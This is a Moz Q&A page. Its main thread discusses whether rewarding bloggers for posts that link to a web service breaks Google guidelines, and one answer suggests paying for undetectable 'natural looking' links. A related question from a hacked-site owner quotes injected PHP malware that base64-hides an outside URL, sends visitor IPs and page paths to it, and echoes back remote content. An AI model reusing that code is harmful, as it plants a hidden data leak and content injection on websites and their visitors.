Ask Bloggers/Users To Link To Website
-
I have a web service that help bloggers to do certain tasks and find different partners. We have a couple of thousand bloggers using the service and ofcourse this is a great resource for us to build links from. The bloggers are all from different platforms and domains.
Currently when a blogger login to the service we tell the blogger that if they write a blog post about us with their own words, and tell their readers what they think of our service. We will then give them a certain benifit within the service.
This is clearly encouraging a dofollow-link from the bloggers, and therefore it's not natural link building. The strategy is however working quite good with about 150 new blog posts about our service per month, which both gives us a lot of new visitors and users, but also give us link power to increase our rankings within the SERP.
Now to my questions: This is not a natural way of building links, but what is your opinion of this? Is this total black hat and should we be scared of a severe punishment from Google? We are not leaving any footprints more than we are asking the users for a link, and all blogposts are created with their own unique words and honest opinions.
Since this viral marketing method is working great, we have no plans of changing our strategy. But what should we avoid and what steps should we take to ensure that we won't get in any trouble in the future for encouraging our users to linking back to us in this manner?
-
If you are asking them to write about you and give their honest impression of your product/service you are marketing.
If you are asking them to write about you AND asking for a followable links you are violating Google's Webmaster Guidelines.
What you are doing is clearly walking the line between these, but my opinion without having actually seen any of the posts/links is that you are leaning toward the marketing side.
Where you might run into trouble is if this tactic represents a huge proportion (say about half or more) of your total links. Relying to heavily on any one link building strategy, especially "iffy" ones like this, is never a good idea. Round out your link profile. If you need to pause this campaign while you do so then so-be-it.
-
In my opinion you shouldn't worry too much about those links, although it is very simple to turn white hat: ask those bloggers to apply a rel=nofollow link attribute. As you know, Google is against every manipulative link building technique.
A few years ago Pay per Post type link building techniques were in vogue. You know what happened to them, I suppose.
I don't think Google can tell for sure if someone paid for a post if that certain post is published on a high quality blog. Let's say you know an editor from a certain newspaper, you give him $500 and he'll mention your website in one of his articles? Did you paid for that link? Yes. Can Google determine if that certain link is a paid one? I don't think so.
You should think that Google's algo it's all mathematics, it's all "if" - "than" causal programming.
So, if several spammy bloggers, that write mostly about products, services, giveaways link to you... that is not good and I'd avoid that. Unfortunately, the most starters will do anything for $5-$10 and, to some extent, it's understandable, because they have no revenue.
Also, many bloggers have that Disclosure Policy page, I'd avoid them all, or ask them to use nofollow.
If there are bloggers that own high quality websites, which ain't filled with reviews, maybe I'd pay for a natural looking mentions (can be your plain URL, words like "this website", etc.) but I wouldn't rely 100% on this.
Using nofollow will still deliver you traffic and getting traffic and high quality content maximizes the natural linking probability.
Hope it helps,
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
How to redirect 301 from high authority sites to own website?
How to redirect 301 from high authority sites to own website? If anyone know can tell me, such gigs are selling on the Fiverr.
White Hat / Black Hat SEO | | jefjaa0 -
Links on Brand Banners
Hi, For one of our ecommerce clients, we have brand banners on each brand page that links to their most popular product lines. Some of the banners just have a column of links, and some are paragraphs with copy and anchor text. Example below: Brand Line 1 Brand Line 2 Example 2: For the utmost in quality, performance and comfort, purchase Brand Line 1 . Brand Line 2 offers the perfect ease of use for beginners while not compromising on quality. Obviously these are just examples, and there are several links (more than 2) per brand, but I was wondering if this harms SEO in any way because of keyword stuffing? It makes sense to have the brand name in the link, otherwise the name of the lines might not make much sense (an example of this is one of the lines is called 849.. so without the brand name that doesn't mean much and looks weird) Do you think it would be better to have the links in just columns in the first example, or in paragraph format?
White Hat / Black Hat SEO | | AliMac260 -
Best Link Building Strategies in Modern SEO
Hello, In light of all the updates and also in guest blogging being only for nofollow links now, what's some of the best strategies for link building for ecommerce sites? We're in an industry where the content doesn't get linked to very much. Thanks.
White Hat / Black Hat SEO | | BobGW0 -
Website has been hacked will this hurt ranking
Today we found out that a website of as has been hacked and that they put this code in multiple index.php files: if (!isset($sRetry))
White Hat / Black Hat SEO | | GTGshops
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 8);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?> After some search I found other people mentioning this problem too.They were also talking about that this could have impact on your search rankings. My first question : Will this hurt my rankings ? Second question: Is there something I can do to tell the search engines about the hack so that we don't lose ranking on this. Grtz, Ard0 -
Domain authority - Low quality links
I have a question I hope people can help me on. it is my intention for my next project to focus on domain authority, and a small number of high quality links. I have a couple of scenarios I would appreciate some advice on: 1. Can lower quality links lower domain authority? 2. Would you avoid links from low quality sites no matter what \ what domain authority levels should you avoid links from. 3. Should I be looking at link profiles of the sites I get links from. Does it matter if a site I get a link from has 1000's of spammy links (i.e. something to look out for when doing guest blogging). 4. Should I avoid directories no matter what, or is high pr \ domain authority directories ok to use, if I end up on a page of other relevant directory submissions related to my niche. Essentially, my aim is to have high quality links, but equally, there are some decent sites on the fringes that I will need to consider (based on a competitors link profile I researches).
White Hat / Black Hat SEO | | Jonathan19790 -
Suggestion for Link Directory Script?
I own a subscription to PHP Link Directory but was wondering if anyone could suggest an alternative link directory script/software/service to PHPLD. Thanks!
White Hat / Black Hat SEO | | fergusonconsulting0 -
How to handle footer links after Penguin?
With the launch of Google's Penguin I know that footer links could possibly hurt rankings. Also too many links on a page are also bad. I have a client http://www.m-scribe.com That has footer links creating well over 100 links on many of their pages. How should I handle these footer links? Suggestions are greatly appreciated.
White Hat / Black Hat SEO | | RonMedlin0 -
Link package review and recommendations
Hello there, I recently spoke to a contractor that offered me the following package, and i have to ask, in this post-penguin world, does it make sense to pursue this kind of linking? Or will it be considered spam. They said it's a manual submission process and they will 'do their best' to ensure that it's under a related category, but can't promise anything in regards to that. What should i be requesting in this post-penguin world? How do i get quality backlinks that won't harm me given the current environment? Any help is greatly appreciated, here is the package info: 1. 900 links submissions = 450 Guaranteed One Way Theme Links - The links are built by manually publishing 5 Original Articles (500 words each) on 125 different article sites (each published article will have 2 back-links to your site). We can use up to 10 keywords and 10 different URLs of your site to build the links.70% of our Article Sites have PR 2 to 6, all with different C classes IPs. 2. 300 links submissions = 150 Guaranteed One Way Theme Links – The links are built by manually publishing 4 Reviews for your site from 4 different accounts (we can use up to 4 URLs of your site to link back) on 150 Social Bookmarking sites, 90% of the sites have PR 2 to 8, all with different C classes IPs. 3. 480 links submissions = 240 Guaranteed One Way Theme Links – The links are built by manually publishing 3 Original Press Releases on 35 Press Release sites(each published press release will have 2 back-links to your site). We can use up to 6 keywords and 6 different URLs of your site to build the links. All our Press Release Sites have PR 2 to 7 all with different C classes IPs. 4. 220 links submissions = 110 Guaranteed One Way blog links – These links are built by publishing 3 Original Blog Article (300 words each) with 2 back links to your site on 20 different free blog sites. These free blog sites are our sites (new sites with PR 0) which we are promoting to get the highest PR for them and your blog back links too.
White Hat / Black Hat SEO | | symbolphoto0